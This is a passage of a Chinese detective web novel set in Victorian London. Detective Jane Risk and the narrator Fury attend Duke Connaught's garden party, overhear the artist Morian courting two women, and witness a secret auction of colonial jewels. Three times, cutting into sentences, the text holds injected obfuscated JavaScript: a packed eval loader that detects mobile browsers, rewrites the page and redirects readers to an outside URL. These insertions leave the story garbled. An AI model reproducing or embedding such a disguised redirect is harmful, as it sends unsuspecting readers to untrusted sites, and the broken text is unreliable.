公爵放下茶杯，杯底碰在碟子上，发出清脆得有些刺耳的轻响。 他终于将视线转向我。“弗瑞小姐似乎有些紧张？不必如此。今日阳光明媚，只欣赏风景。” 我挺直脊背，迎着他的视线，尽量让自己的声音平稳，“多谢公爵关心。我只是不太习惯……” 公爵似乎觉得我的反应有趣，喉间发出一声极轻的哼笑。 他不再理会我，重新看向简。 “那张卡片，”他慢悠悠地说，“用在这里，恰到好处。它提醒我们，承诺是有价值的，无论大小。也提醒你，我还在。” “一张废纸。”简的声音斩钉截铁，“它的价值，只在于你把它当回事。用它换一次无聊的茶会，康诺特，你真是越活越回去了。” 公爵脸上的那点虚假表情消失了。 他的眼神彻底沉下来。 “里斯克，”他低沉的声音里带上了警告，“别太傲慢。伦敦的舞台很大，聚光灯不会永远照在你一个人身上。” 他缓缓站起身。 “茶凉了。”公爵整理了一下袖口，“失陪。两位请自便，花园里的春光，还是值得一看的。” 他顿了顿，目光再次扫过简，最后落在我脸上。 “尤其是弗瑞小姐，第一次来，不妨多走走。” 他从晨礼服内侧口袋掏出一张对折的更小的卡片，并非之前那种烫金蛇纹的空白卡，而是印着康诺特家族徽记的普通卡片。 他用两根苍白的手指拈着，随意地放在简面前的桌面上。 “晚宴在主宅东翼小厅，七点。算是……额外的私人藏品鉴赏。” 他嘴角勾起一个毫无笑意的弧度，“不来也无妨，只是少点乐趣。” 说完，他不再看我们，转身，很快消失在绿意盎然的深处。那名侍者紧随其后。 花架下只剩下我们两人，以及桌上三杯彻底凉透的茶，和那张冰冷的晚宴邀请卡。 远处花园的喧闹声和音乐声又隐约飘了过来，带着一种不真实的欢快。 紫藤花的香气混在空气里。 简伸手，用两根手指拈起那张晚宴卡。她没有看上面的内容，只是盯着卡片背后那个凸起的家族徽记，指腹无意识地摩挲着纹路。 “弗瑞。”她开口，声音低沉。 “嗯？” “跟紧我。”她将卡片塞进风衣内袋，动作利落。 “好。”我应道。 54.6.2 我和简并没有直接离开。也不想在这个地方停留下去。所以我们决定换个地方。 在经过那片喧哗的茶话场所的时候。一个熟悉的声音传来。 “呀！本小姐！里斯克小姐！你们也来参加公爵大人的茶话会？” 乔安里维奇夫人。 在克里米亚夫人的案子过后，她倒是收敛了一段时间，今日的她，倒也没有像以往那般张扬，衣着依旧夸张，但脸上的粉敷得匀净了些。 她停在简面前，双手夸张地交叠在胸前，目光飞快地在简和我身上扫视了一圈，最后定格在简脸上，笑容假得有些过分。 “真没想到能在这里遇见您！我就说嘛，公爵大人的盛会，怎么能少了伦敦最耀眼的明星侦探呢？”她的语气带着刻意的恭维，尾音却微微上扬，透着一股试探。 简只是淡淡的瞟了她一眼，她明显不太愿意和乔安里维奇夫人交流下去。 “夫人，”她的声音有些嘲讽，“耀眼谈不上。倒是你，看来恢复得不错。” 乔安里维奇夫人脸上假笑明显快挂不住了，“托您的福！托您的福！那都是过去的事了，人要向前看嘛。公爵大人这次真是大手笔，您瞧瞧这布置，这花，这茶点…” 她喋喋不休，“哦，对了，弗瑞小姐也在！”她像是才看到我，目光转向我，“您今天这身裙子…呃，很素雅，适合您。” 我微微颔首，没有接话。而是注意到她的身旁跟着一个畏畏缩缩的男人。 他和乔安里维奇夫人，简直是两个极端。 五官算不上多丑，但是个子极矮，比一旁的乔安里维奇都要矮。这样子的一个人，还畏畏缩缩的的缩着脖子。更显得獐头鼠目。 在我们和乔安李维琦夫人谈话的时候，他的眼神一直盯着地面，整个人透露出一种…焦躁？ “夫人，不知这位是？”我笑着，将话题引向了这个一旁的男人。 能够跟在乔安李维琦夫人的身边还是这般模样，我心里也有了几分猜测。 不出所料，乔安里维奇夫人的表情一下子变得更加难看了。眉头皱得几乎能夹死一只苍蝇，嫌弃之情几乎溢于言表。 她飞快地扇动着自己手里为了贵族礼仪的扇子，带着几分不奈的语气说：“凯恩·乔安里维奇。我的丈夫。” 凯恩·乔安里维奇。 落败的贵族乔安里维奇家族的独子，整个伦敦上层社会似乎都对他看不大起，没本事，为人胆怯，靠着丽拉·乔安里维奇夫人的母家有钱，勉强维持了父母未过世之前的生活。当然，由于这个原因，他也对他的夫人几乎是言听计从。 那个叫凯恩的男人听见自己被提及，猛地抬起头，又飞快地垂下去，几乎把下巴抵在胸前。 他飞快地瞥了我们一眼，带着点惊惶，随即又死死盯着地毯上的图案。他的脖子缩得更低了，手指神经质地绞着衣角，那布料看起来有些旧，也不太合身。 简的视线在他身上停留了不到一秒，嘴角似乎动了一下，但微乎其微的弧度更像是无声的嘲弄，旋即又归于冷淡。她显然对这对夫妇毫无兴趣。 “乔安里维奇先生。”我微微颔首，算是打了招呼。 他像是被吓到了，整个人猛地一哆嗦。几乎是同时，他那只绞着衣角的手慌乱地伸进外套内袋，摸索出一块皱巴巴的手帕。 他飞快地在额头上擦拭着，老天，就这么一会儿，他就已经开始流了一堆汗。 “您…您好…弗…弗瑞小姐…”他终于挤出一句问好，声音又细又抖。 这怯懦到近乎滑稽的举动让乔安里维奇夫人脸上明显无光。不等凯恩的问候完全说完，她就极其不耐地用扇子朝他那边虚虚一挥，声音尖利。 “哎哟！他就是这副上不得台面的样子！连句囫囵话都说不好！”她刻意地叹了口气，仿佛丈夫的存在本身就是对她莫大的折磨和羞辱，“公爵大人心善，才允了他来见见世面，可你看他……” 凯恩的头在她刻薄的话语中埋得更低了，几乎要缩进那不合身的领子里，攥着手帕的手微微发着抖。 简似乎连听她抱怨都觉得多余，目光已经越过他们，投向大厅深处流光溢彩的人群，仿佛在寻找更有意思的人，或者仅仅是想尽快结束这场无聊的寒暄。 “够了吗？”她可不会像我一样要维持什么面子和礼仪。 乔安里维奇夫人脸上红一阵白一阵，最后勉强又挤出一个笑容。 “哎呀，看我这记性，差点忘了正事！公爵大人新得了一批上好的红茶，听说妙极了，我得赶紧去尝尝，失陪了，里斯克小姐，弗瑞小姐！” 她几乎是逃也似的，一把粗暴地拽住凯恩的胳膊，将他拖拽走了。 凯恩被她拽得一个趔趄，差点摔倒，踉跄着跟上妻子的步伐，慌乱中只来得及把那块皱巴巴的手帕胡乱塞回口袋。 这种事情这种情况，我们也不好多评价什么。我们也不愿意让这种事情打扰到自己的心情。 乔安里维奇夫妇那点不愉快的余波很快被抛在脑后。 我和简默契地避开人声最稠密的地方，穿过几道挂着常春藤的拱门，沿着另一条鹅卵石小径向花园深处走去。 公爵的花园确实大得惊人。 我们在一丛盛放的花架旁停下脚步。 这里远离主路，花架下摆着几张桌椅。最重要的是这里听不见刚刚那种茶话会的喧闹，这里很清静。 但显然不只有我和简这么想。 也不知我和简的运气究竟算好还是坏，总是撞见戏剧性的事情。 就在几步开外，开得正盛的郁金香丛旁，站着三个人。确切地说，是两个人正面对面，而第三个人刚刚闯入。 背对着我们的是一个男人，身形修长。 他微微躬身，姿态优雅，正对着他面前那位年轻女子说话。 那女子背光而立，阳光勾勒出她纤细美好的轮廓。 她穿着一身近乎月白色的薄纱长裙，金棕色的长发松松挽起，露出天鹅般优美的颈项。即使看不清正脸，那份清丽脱俗的气质也扑面而来，像是误入凡尘的精灵。 “……你的眼睛，奥若拉，就像是我见过的最清澈的泉水。” 男人的声音刻意压低，带着吟咏般的语调，正是那位我们曾经见过的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16141898|177843||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 艺术家，莫里安。 我可还记得克里米亚夫人死的时候，他那种撕心裂肺…而现在…这可真是…… 好吧，读者们，我承认偷听并不是一个很好的习惯，但事实上我们并没有偷听…几乎算是光明正大地听着了。 我们的位置在拐角，而他们又是如此的专注于对方，声音又由于激动带着无法掩饰… 我可以清楚的听到莫里安似乎深情楚楚的说：“奥若拉，你是我的月下精灵，是我的缪斯，照亮了我这凡俗的灵魂。” 他伸出手，似乎想去触碰这位奥若拉小姐垂在颊边的一缕发丝。 听到这个称呼，站在我一旁的简，她似乎一下子锐利了起来。 这反而让我对那位小姐的身份更感好奇。 那位奥若拉小姐在他伸手的瞬间，猛地后退了一步，有风吹来，她整个人在风中摇曳。 她精致的下巴微微抬起，脸上没有任何被赞美的欣喜，只有毫不掩饰的厌恶。 她没有说话，只是用那双漂亮的蓝眼睛冷冷地扫了莫里安一眼。然后，她毫不犹豫地转身，快步朝着与我们相反的花园小径走去，很快就消失在花影深处。 莫里安伸出的手尴尬地僵在半空，脸上的深情款款瞬间凝固，随即化作被冒犯的恼怒，还有失望。他悻悻地收回手，理了理自己的袖口。 就在这微妙的时刻，另一个身影风风火火地闯了过来。 凯特夫人。 那个在克里米亚夫人的假面舞会上，找莫里安搭话的夫人。 这位以富有和粗俗闻名的寡妇，穿着一身极其昂贵却与她并不相配的粉色长裙，整个人全身上下几乎挂满了各种珠宝和配饰，她的妆容很浓，试图遮掩岁月的痕迹，反而加重了沟壑。 “哎呀，亲爱的莫里安先生！可让我好找！”凯特夫人声音洪亮。 她径直走到莫里安面前，几乎要贴上去，用戴着硕大宝石戒指的手拍了拍他的胳膊，力道不小，“躲在这里做什么？欣赏花朵？哦，这花可真配你！” 她随手就掐了一朵盛放的郁金香，动作粗鲁，花瓣簌簌落下几片，然后不由分说地就要往莫里安胸前的口袋里塞。 莫里安脸上的恼怒瞬间消失了。他猛的咳嗽了几下，然后迅速换上了带着温暖柔和的笑容，顺势轻轻握住了凯特夫人那只戴满戒指的手，巧妙地阻止了她插花的动作，转而托起来，行了个极其标准的吻手礼。 看得我大为惊叹。 这可真是…… 而在那名被称为奥若拉的小姐跑开之后，简的兴趣明显降低了。 说实话，我也有些尴尬，万一他们要是发现我们在这儿，那场面…… “我亲爱的凯特夫人，”莫里安的声音又传过来了，甚至比刚才对奥若拉时还要热切几分。 “这花园再美，又怎能及得上您万分之一的光彩？您的到来，让这些花儿都黯然失色了。” 他抬起眼，目光灼灼地看着凯特夫人那张浓妆艳抹的脸，仿佛在欣赏什么稀世珍宝。 凯特夫人被他看得心花怒放，咯咯地笑起来，“瞧瞧你这张嘴，真会哄人开心！” 55.6.3 凯特夫人确实大方。 我就那么看见她直接从手上撸了一个宝石戒指下来，跟赏东西一样，边笑边扔进了莫里安手心。 然后他们就亲亲热热的挽在一起，开始互诉衷肠…… 上帝啊… 再呆下去，我觉得有点不太好了。 虽然不礼貌，但我知道要说，对我的精神还有眼睛不太好。 我只好碰了碰身旁的简，示意她和我离开。 “刚刚那位姑娘，简，你知道她是谁吗？”我问。 “老康诺特的女儿。”简直接了断地说。 “她可比凯特夫人的眼光要好，不是吗？”简说，“当然，那位奢华的夫人，也不会在乎这些。” 额…对于莫里安的行为确实… 看起来这位高贵的小姐，应该是被骚扰和追求，并没有真的就选择对方，听信对方的那种鬼话。 而凯特夫人，她可不在乎莫里安内里究竟是怎么样的？ 她要的，只是他陪在她的身边，然后给她提供乐趣。 就是…… “康诺特公爵的女儿？但是外界…”对于这位女孩的身份，我还是有些惊诧。 我从没有听到过类似的传闻，康诺特公爵对外并没有女儿，倒是有着一大堆的女人，给他生了一个又一个的儿子。 而他的女儿，外界都不知道。 “是的，弗瑞。外界都不知道这位小姐的存在，但法律上她确实是公爵切切实实的继承人。”简明显知道我要说什么。 法律上…… “你是说…早逝的康诺特夫人。”我问。 简微微颔首，带着点对我的赞许。 早逝的康诺特夫人，一朵漂亮的希腊玫瑰，直到她逝去的二十多年之后，也仍然有人在感叹她的美貌。 也难怪那位小姐，有着奥若拉，这样梦幻的名字了。 遗憾的是，康诺特夫人在嫁给公爵的第三年，就早早地凋零了。 算算时间，倒也与那位美丽的小姐对得上。 这就是康诺特公爵的家事了。 康诺特公爵府里的满园春色是没欣赏多少，反正戏看了不少。 当然，我和简都知道，我们留下来总不是真的是为了欣赏风景。 晚上七点的私人藏品鉴赏？ 简想看看那个老贵族，到底卖的什么关子。我也想知道。 但这事情一件接着一件，反正让今晚更蒙上一种琢磨不定的色彩。 现在已经差不多是下午五点左右了，茶话会接近尾声，一些普通的客人开始陆续的离开。 留下来的人，应该和我和简一样，是打算参加康诺特公爵，那个所谓的私人藏品展览。 这才是真正值得探究的那群人。 简不再是那种表面的漫不经心与随意敷衍了，她开始打起十二分精神。 我握紧自己的手提袋，里面的武器让我感觉到安心。 留下的人，形形色色。 有新上任的殖民部的官员。 有有钱的豪绅富商。 还有莫里安那样的，艺术家们。 乔安里维奇夫妇，不知道出于什么原因，竟然也留下来了。 所有人加起来不过十数人，放出去都是有点身份地位的人，我可不信，他们就是为了看所谓的私人藏品。 来来往往的侍者接引着，将留下来的带去餐厅。 上流社会浮华的体面。 明明所有人都迫不及待了，还得假装冷静的坐在一起共进晚餐。 简和我都不愿意参与进去，她直接要求侍者带我们去了小居室，并且给我们俩单独送上来了晚餐。 晚餐被送到了小居室。精致的银质托盘上摆着简单的冷肉、面包和水果，比起外面餐厅的奢华排场，这更合我们的心意。 送餐进来的正是之前在花园里为公爵奉茶的那个年轻侍者。 他看起来二十出头，模样还算英俊，虽然不是那种会让人一眼惊艳的。最引人注意的是他的气质，没有其他侍者那种过分谦卑的谨小慎微，也没有对客人的谄媚或畏惧。他动作利落，摆放餐具时几乎不发出声响。 当他放下餐盘，微微欠身准备告退时，“等等…”简忽然开口。 “怎么了，小姐？”那名侍者问道。 “奥若拉小姐怎么样了？我刚刚注意到她有些不快。” 侍者动作顿了一下，抬起眼，目光平静地落在简脸上，似乎有些意外她的询问。但很快就调整了过来。 “奥若拉小姐已经回她的房间休息了，小姐。”他的话平稳清晰，“她说花园的风有些凉，想一个人静静。” 他回答谨慎，但那双沉静的眼睛里，似乎掠过不易察觉的忧虑。他没有多说什么，也没有询问简为何关心。 “知道了。”简点点头，视线在他脸上停留了一瞬，没再追问，“谢谢。” 侍者再次微微欠身，“如果两位小姐没有其他吩咐，请慢用。七点前，我会再来引路去藏品室。”说完，他退了出去，轻轻带上了门。 居室里只剩下我和简。 餐点简单精致，但我们都没什么胃口。 “风凉？”简拿起一片面包，若有所思地重复了一遍侍者的话，笑了笑，“倒是个不错的借口。” 她没再往下说，但我们都明白。 那位奥若拉小姐显然是被莫里安纠缠得不胜其烦，只想尽快逃离。 这侍者……他的回答滴水不漏，但我感觉他知道的比说出来的要多。 “他看起来不像个普通侍者。”我切着盘中的冷肉，低声说。 “当然。”简拿起银叉，叉起一块水果，“不然不够资格。” 我明白简的意思，如果是一个普通侍者，也不会有资格，在这里接触简，甚至在刚开始的时候有资格给公爵上茶。 我们沉默地吃着晚餐。 窗外，天色渐渐暗沉下来，公爵府邸灯火次第亮起，将花园的轮廓勾勒得影影绰绰。 留下来的那十几位客人，想必此刻也在各自的角落，揣着不同的心思，等待着七点的到来。 简放下刀叉，用餐巾擦了擦嘴角。她看了一眼壁炉上的座钟。 “时间差不多了，弗瑞。”她站起身，理了理风衣的下摆，“让我们去看看，这位老东西葫芦里，到底卖的是什么药。” 我也随即起身，握紧了手提袋。 敲门声适时响起，不轻不重。 那位沉稳的侍者准时出现在门外，微微躬身，“里斯克小姐，弗瑞小姐，请随我来。公爵大人已在藏品室等候各位贵客。” 侍者，后来我们知道他叫维明里安，领着我们穿过漫长的走廊。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16144783|177843||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 即使我做好了准备，藏品室还是比我预想的还要大。 高高的拱顶天花板上垂下巨大的水晶吊灯，但不知是刻意为之还是电力不足，灯光被调得极其昏暗，呈现出暧昧的暖光。 留下来的十几个人已经聚在这里了。 简拉着我走了进去。 男士们的礼服在昏光下是深色的剪影，女士们的珠宝偶尔发出五彩的亮光。 也许是因为人有点多，空气有些闷，细细碎碎的交谈声不断的传来。 我看到乔安里维奇夫人紧挽着她丈夫的胳膊，而她那个怯懦的丈夫则透着一种奇异的兴奋。 不远处，莫里安正殷勤地扶着凯特夫人，后者脸上是极为受用的笑。 新上任的殖民部官员和几个富商站在一起，低声说着什么。 这片区域陈列着公爵所谓的艺术收藏。 有人礼貌性地驻足观看，但多数人只是匆匆扫过，心思显然不在这里。 墙上挂着无数画作，画面在这样的光下看不真切，只觉得色彩浓重。巨大的大理石雕像在昏暗中矗立，面目模糊。几个玻璃柜里锁着些泛黄的羊皮卷和烫金封面的厚重书籍，是孤本珍品。在那里面，我看见了我曾经熟悉的东西。 艾奥瓦·霍顿先生追查的那批有问题的书本珍品，在这里不过是无关紧要的展品罢了。 简拉住了我。 我应该冷静，我知道的。 公爵本人还没露面。 这等待让人不耐。 留在这里的人，各有各的目的，没人真是为了看这些在公爵府里被迫蒙尘的艺术品。 “格林估计得气死。”简突然说。 “格林小姐？”我不清楚简为什么突然在这里提到格林小姐。 “艺术珍品。这可不是康诺特负责的。”简靠近我低声说。 “格林小姐会来吗？”我忍不住地问。 “老家伙把我都找过来了。”简又些嫌恶地说，“肯定也不介意多恶心几个对手。” “就为了恶心？”我感觉有些莫名其妙。 简又笑了，“当然不是。” 之后她就不再多说什么了，我一手握紧手提袋，一手握着简。 时间一点点过去。 壁炉上的座钟秒针在滴答走动。 七点整。 沉重的橡木门被推开。 康诺特公爵走了进来。 他换了身更正式的天鹅绒礼服，脸上带着那种恰到好处的微笑。 “女士们，先生们，”他的声音做作且张扬，“感谢各位赏光，愿意多留片刻，欣赏我的一点小小爱好。” 他环视一圈，目光在简和我身上短暂停留了一下，又看向别处。 “这些，”他抬手，优雅地指向那些艺术珍品，“很漂亮的藏品，对吧。它们当然值得欣赏。”他顿了顿，嘴角的笑意似乎加深了些许，“但不过是开胃菜。” “女士们，先生们，让我们继续吧。”康诺特公爵向一旁的侍者们示意。 在侍者们想要推开里面更深的那一扇门的时候，外侧的那扇门却突然打开了。 一个久违的声音传了过来。伴随着那股熟悉的香水味。 “抱歉呀！公爵大人。原谅我的事务繁忙，晚来一会，您？肯定！不会介意吧！” 格林小姐。 56.6.4 简的心情明显变好了，带着一种看乐子的趣味。 格林小姐这简直是在赤裸裸地挑衅康诺特公爵。 人群开始骚动，窃窃私语起来。 康诺特公爵的假面明显有些挂不住，但是他还是得遵循待客的礼仪，“噢！格林小姐！当然！我还以为你不会来了！” “怎么会呢？”格林小姐走了进来，她的高根鞋落在地上，发出一步一步的敲击声。 她的身后，跟着四个人，是我参加见过的金环蛇的熟面孔，格林小姐的手下。 “里斯克小姐。好久不见。”格林小姐完全无视了周围人的目光，和我身旁的简打招呼说。 然后，她的目光落在了我的身上，我们就那么对视着。 读者们，我必须要说，格林小姐是一个极其有魅力的女性。 她漂亮的长相，不过是她微不足道的加分项。她最独特的，是她那种，优雅且危险的气质。 昏黄的灯光下，我站在简的身旁，和格林小姐对视着。 她笑了，朝我伸出手，“你好，弗瑞·本小姐，正式认识一下，我是奈克·格林。（Nike Green）” 奈克·格林。（Nike Green） 与她在圣玛丽出版社使用的名字完全不同。 这是她的本名吗？还是她为她自己取的？ 奈克。（Nike） 胜利女神。 不管怎么样，这个名字与她的野心勃勃十分相配。 简在我的身旁，我知道，她算是默许了。 我往前走了几步，简在我身后看着我，我握上格林小姐的手，“您好，奈克·格林小姐。” 我们算正式认识了吗？ 我现在在这里写着回忆，才出现一切都是有迹可循，但是，原谅我，那时候，我并没有发现什么。 …… “女士们，先生们。让我们一切继续。”公爵在继续控场。 内侧的雕花木门被打开，所有的人在公爵的带领下深入。 而我，和简，还有格林小姐，就那么跟在了队伍的最后面。 令人出乎意料的时，最前面的，竟然是莫里安，还有乔安里维奇夫妇。 而那位侍者，维明里安，确实挺受公爵的信任，他和伯爵的老管家一起，一左一右的跟着老康诺特公爵。 “里斯克小姐，你认为这老家伙在卖什么关子？”格林小姐靠近简，笑着说。 “格林小姐认为呢？”简看了她一眼，默许了她的靠近。 “也许他疯了？哈？”格林小姐的话充满了调笑的意味。 “呵。我想也是。”简随意的耸耸肩，说着话的时候，她的右手一直放在风衣口袋里没有拿出来过。 “放轻松…弗瑞小姐。”格林小姐注意到我有些紧张，她轻笑了一下，几乎算是转了个圈，从简的身边来到了我的身边。 那股熟悉的香水味更加馥郁了。 格林小姐在靠近，她的手几乎要落在了我的肩上，简却上前了几步。 “格林。”她叫。 “啊呀。我只是想让她放松一些。反正不是什么大事。”格林举起手示意。 她的手很好看，并不白皙，但很修长。也没有像凯特夫人一样满手的宝石戒指。反而和简一样，满是茧子与疤痕。 她站在那里，对我们笑。 我想，满屋的宝物都配得上她，也比不上她。 宝物。 对…宝物。 第二间展厅里面，满是珠宝与无价之物。 来自世界各地的宝物。 它们密密麻麻地躺在丝绒上，锁在玻璃盒里。钻石的冷光，红宝石的暗火，祖母绿的幽深，还有大颗珍珠那温润又死寂的色泽。它们被灯光打得刺目，安静地堆积着，过于沉重与血腥的财富。 “老家伙可真容易中饱私囊。”格林小姐说着意味不明的话。 人群几乎是瞬间炸开的。 那些衣冠楚楚的宾客，像嗅到血腥的鲨鱼，围拢到那些玻璃展柜前。 上流社会的矜持荡然无存，空气里挤满了刻意压低的惊叹和故作专业的品评。 “看那颗蓝钻！天呐，是‘海洋之心’的传说吗？不…这更大！” “红宝石！鸽血红！绝对是缅甸诺谷的顶级货色，矿脉都快枯竭了…” “祖母绿…哥伦比亚出来的？这成色…诅咒？哈！更值了！” “那颗佛头！东方来的！好东西啊！” 兴奋的议论声此起彼伏。 他们谈论着产地，谈论着稀有度，谈论着那些附着在宝物上的被精心包装成“传奇”的诅咒与血腥。 每一颗璀璨的背后，都清晰地烙印着殖民地的烈日，矿坑的尘埃，和被掠夺土地的哀嚎。 这些财富的沉重与血腥，此刻化作了他们眼中最炽热的火焰。 乔安里维奇夫人用戴着蕾丝手套的手指，几乎要贴上玻璃，眼珠里映着红宝石的暗火。 莫里安则眯着眼，手指在展柜上无意识地敲打。 富商们的喉结滚动着，眼珠发红，展厅里弥漫着一种近乎野蛮的占有欲。 就在这时，老康诺特公爵的声音再次响起，“女士们，先生们！看来大家对今晚的‘正餐’已经迫不及待了！” 他站在展厅中央，灯光打在他身上，那张刚刚被格林小姐挑衅过的脸上，此刻重新挂上了掌控一切的傲慢笑容。 维明里安和那位老管家，还有其他的侍者，侍立在他身后，如同沉默的阴影。 “那么，”公爵的声音提高了，带着一种宣布重大事件的仪式感，“我宣布，今晚的正餐，正式开始！” 他微微侧身，对着一个跟在身旁戴着洁白手套的男人点了点头。 那个男人走上前，手中拿着一柄小巧的拍卖槌，脸上是毫无波澜的表情。 “第一件拍品，”他清晰冰冷的声音在骤然安静下来的展厅里回荡。 “编号001，来自南非金伯利矿区的‘日冕’白钻原石，重190克拉。起拍价——” 一切都太出乎意料了。 “等等，这是场拍卖会？”我震惊的压低声音问。 “嗯，别紧张。弗瑞。”简似乎并没有什么意外。 格林小姐听到了我的问话。 “一般情况下，老康洛特是不需要这样子做的。”格林小姐笑得有些意味深长，“可惜啊，他最近手底下死的人有点多。”我看见格林小姐的眼神在简的身上流转。 “还有他老了，外面的人不太服他了。”格林小姐继续说，说这个话的时候，她浑身散发着一种肆意且自信的感觉。 我能清楚的感知到老康诺特的人不服他，和格林小姐脱不开干系。 简仍旧是面无表情的，“格林，需要我夸你吗？” “谢谢。”格林小姐大大方方地说。 简明显也没想到格林小姐就这样应了，似乎有些无奈。 看着她俩的互动，我有一些想笑，一直压在心里的那种沉重，似乎也稍微放松了一点点。 “那外面的那些呢？”我控制不住问。 “噢，我来说吧。小弗瑞。那不过是在老家伙标榜身份的东西。孤品珍本，艺术画作，怎么可能有这些东西来的快。倒是有可能成为他们的赠品。”格林小姐说，她皱着眉头，“而且你真的认为这群人懂艺术？” 也是。 可是，外面的那些，又何尝不是珍品。却只能在罩子落灰。 那边的拍卖，还在继续。 “我出！” “加十万！” “再加五万！” 叫价声 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16148988|177843||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 此起彼伏。数字在不断叠加。 读者们，这可不是先令，而是英镑！ 这可太混乱了！ 数字在跳，越跳越高，那些衣冠楚楚的人，在失控的嘶吼着。 “真吵。”简的声音不大，淹没在叫价声里，但我听见了。 她右手在风衣口袋里的轮廓似乎更清晰了些。 “打发时间罢了。”格林小姐轻描淡写地说，嘴角还是那抹嘲弄的笑，目光却扫过那些狂热的脸，像在看一群滑稽的提线木偶。她的视线最后又落回简身上。 我喉咙有些发紧。 一切都是如此的荒缪。 拍卖槌落下第一声闷响，暂时压住了喧嚣。 “成交！” 短暂的死寂后，是稀稀拉拉的掌声和更响的议论。 赢家满面红光，输家脸色铁青。 而公爵，他只有自傲，与喜悦。 他站在中央，灯光将他的丑陋毫发毕现。 他享受着这混乱中被他重新攥紧的权柄感。然而，他的目光很快就越过了那些狂热或沮丧的面孔，精准地落在了末尾，落在简，格林小姐，以及我身上。 他脸上那胜利者的笑容收敛了些，换上一副更符合“主人”身份的表情，分开人群，径直向我们走来。 人群的骚动随着他的移动而转移，窃窃私语又起。 “啊！里斯克小姐，格林小姐！”公爵的声音洪亮，试图盖过展厅里的嘈杂，“还有我们迷人的本小姐。”他朝我微微颔首，但那目光死死看着简和格林。 “二位觉得我这小小的‘正餐’开场如何？是否还能入眼？” 他特意强调了“小小的”，带着一种炫耀式的自谦。 简的反应是一贯的冷淡。 她甚至没完全把目光从那些散发着冰冷光泽的宝石上移开，只是微微侧过脸，插在风衣口袋里的右手似乎动了一下，又或者没有。 她的声音冰冷，“很符合你一贯的风格。” 这句“符合风格”听起来可不像什么好话。 格林小姐则笑了出来，那笑声清脆又带着毫不掩饰的揶揄。 “确实热闹，老家伙。瞧瞧这些石头，它们可真是和你一样沧桑啊。” 她意有所指地环视着展厅里那些沾满血泪的财富，“我尤其喜欢那颗‘日冕’，听说矿坑深处埋的尸骨，比挖出来的钻石还多？真是…独特的光彩。” 公爵脸上的笑容明显僵硬了一下，眼角细微地抽动。 维明里安在公爵侧后方半步的位置，他没有任何反应。 公爵很快调整过来，用一种夸张的语气说：“格林小姐总是这么…风趣！历史自有其沉重之处，而我们，是在欣赏它遗留下的…辉煌！不是吗？” “里斯克小姐呢，今晚可有哪件‘小玩意儿’能打动你？” “我对被诅咒的石头没兴趣。”简的声音依旧没什么起伏，目光却锐利地扫过公爵，然后落在维明里安身上片刻，最后又回到展厅中央，“打发时间罢了。” 公爵碰了个软钉子，脸上的假笑快要挂不住。 “哈哈，里斯克小姐总是如此…清醒。”他转向格林小姐，带着点强撑的挑衅，“那么格林小姐呢？您远道而来，想必不是为了单纯看个热闹？看上什么了？尽管开口，或许我可以看在您这位稀客的份上，给您一个内部价？” 他刻意强调了“稀客”和“内部价”，仿佛在提醒格林小姐他作为主人的“慷慨”。 格林小姐歪了歪头，脸上带着一种猫捉老鼠般的戏谑，“内部价？噢，那多没意思。我喜欢公平竞争，尤其喜欢…看着别人为心头好争得头破血流的感觉。” 她的目光意有所指地扫过那些还在为上一件拍品激动或懊恼的宾客，“况且，好东西，当然要自己亲手拿才有趣，对吧？” 57.6.5 康诺特公爵的表情顿时变得特别愤怒。 不得不说，他老了。 读者们，我真的完全无法理解他的心理，他邀请简还有格林小姐过来，简直是自讨苦吃。 他就像是一只年老力衰的豺狼，张扬舞爪耀、武扬威的炫耀着自己年轻时打下来的地盘与食物。又恐惧其他人夺取。 “哈哈哈哈！”康诺特公爵狂笑！ 说真的，给当时的我吓了一跳，我感觉他真的是精神不太正常。 “格林！里斯克！我们，各凭本事！” 康诺特先生恶狠狠地放下话。 维明里安跟在他的身后离开。 拍卖会仍旧火热。 现在已经进行到了东方的古寺佛头。 纯金的佛头瞠目而视，在罩子里面注视着混乱的一切。 “你们要在这里一直待着吗？”格林小姐在一旁问。 简摇了摇头。 “没有意义了。”她看向了更深的那扇封闭的原木红门，“格林，你认为里面是什么？” 我也看向那扇门。 第一间展厅是艺术。 第二间展厅是金钱。 再里面是什么呢？ 格林小姐优雅地笑了，她用手抱臂环胸的首卷了卷自己的头发，“我想你已经知道了。” 简没有承认也没有否认，她只是看着我，“弗瑞，很晚了。我们回家吧。” “嗯。”我握着自己的手提包，感受着它的分量，再一次深深地看了一眼这荒谬的一切。 我深吸了一口气。 我应该理智，我知道的。 简拉住了我。 “格林，留下来。看着。”简说完，拉着我离开了。 “是…里斯克小姐。”格林小姐意味不明的话从后面传来。 我被简带着，一步一步地远离了那喧哗的展厅，整个人的那种紧绷也逐渐放松下来。 